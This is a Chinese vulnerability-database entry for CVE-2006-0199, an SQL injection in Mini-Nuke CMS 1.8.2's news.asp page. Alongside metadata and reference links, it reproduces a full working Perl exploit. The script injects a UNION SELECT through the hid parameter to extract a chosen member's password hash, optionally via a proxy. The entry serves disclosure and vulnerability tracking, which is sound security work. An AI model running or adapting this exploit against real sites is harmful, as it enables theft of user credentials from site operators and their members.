Mini-Nuke CMS System news.asp SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1109631 漏洞类型 SQL注入
发布时间 2006-01-14 更新时间 2006-01-14
CVE编号 CVE-2006-0199 CNNVD-ID CNNVD-200601-130
漏洞平台 ASP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/1419
https://www.securityfocus.com/bid/83404
https://cxsecurity.com/issue/WLB-2006010028
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200601-130
|漏洞详情
Mini-NukeCMSSystem1.8.2及更早版本的news.asp中存在SQL注入漏洞,远程攻击者可以通过hid参数执行任意SQL命令。
|漏洞EXP
#!/usr/bin/perl

# MiniNuke (www.miniex.net) Version: <= 1.8.2  SQL-injection exploit.
# This exploit uses the vulnerability discovered by nukedx@nukedx.com.
# Exploit uses SQl-injection to give you the hash from user with chosen id.
# DetMyl, 2006 Detmyl@bk.ru 

use IO::Socket;

if (@ARGV < 3)
 {
 print q(
 +++++++++++++++++++++++++++++++++++++++++++++++++++
 Usage: perl mini-nuke.pl [site] [dir] [useId] [proxy (optional)] 
 i.e. perl mini-nuke.pl "somesite.com" / 52 127.0.0.1:3128
 ++++++++++++++++++++++++++++++++++++++++++++++++++++
           );   
 exit;
 } 
$serv  = $ARGV[0];
$dir   = $ARGV[1];
$uid = $ARGV[2];
$proxy   = $ARGV[3];

print "----------------------------------\n";
if ( defined $proxy) {
	$proxy =~ s/(http:\/\/)//eg;
	($proxyAddr,$proxyPort) = split(/:/, $proxy);
   }
$serv =~ s/(http:\/\/)//eg;
$request ="http://".$serv.$dir."news.asp?Action=Print&hid=66%20union+select+0,sifre,0,0,0,0,0,0,0,0+from+members+where+uye_id=".$uid;
print "Connecting to: $serv...\n";
print $proxy?"Using proxy: $proxy \n":"";
$socket = IO::Socket::INET->new( Proto => "tcp",
				 PeerAddr => $proxyAddr?"$proxyAddr":"$serv",
				 PeerPort => $proxyPort?"$proxyPort":"80") 
				 || die "can't connect to: $serv\n";
print $socket "GET $request HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
	while($answer = <$socket>) {
		if ($answer =~ /<b>([\d,a-f]{32})<\/b>/) { 
			print "+ Found! The hash for user $uid: $1\n";
			print "----------------------------------\n";
			  exit(); }
		if ($answer =~ /number of columns/) { print "+ Vulnerable! But no result with default querry, so manually change the scrypt;-)...\n";exit(); }
	}
print "Exploit failed\n";
print "--------------------------\n";

# milw0rm.com [2006-01-14]
|受影响的产品
Mini-Nuke Cms System 1.8.2
|参考资料

来源:XF
名称:mininuke-news-sql-injection(24098)
链接:http://xforce.iss.net/xforce/xfdb/24098
来源:BUGTRAQ
名称:20060113Advisory:MiniNukeCMSSystem<=1.8.2(news.asp)SQLInjectionvulnerability
链接:http://www.securityfocus.com/archive/1/archive/1/421727/100/0/threaded
来源:OSVDB
名称:22384
链接:http://www.osvdb.org/22384
来源:MISC
链接:http://www.nukedx.com/?viewdoc=7
来源:VUPEN
名称:ADV-2006-0173
链接:http://www.frsirt.com/english/advisories/2006/0173
来源:SECUNIA
名称:18439
链接:http://secunia.com/advisories/18439
来源:FULLDISC
名称:20060112Advisory:MiniNukeCMSSystem<=1.8.2(news.asp)SQLInjectionvulnerability
链接:http://archives.neohapsis.com/archives/fulldisclosure/2006-01/0439.html
来源:SREASON
名称:340
链接:http://securityreason.com/securityalert/340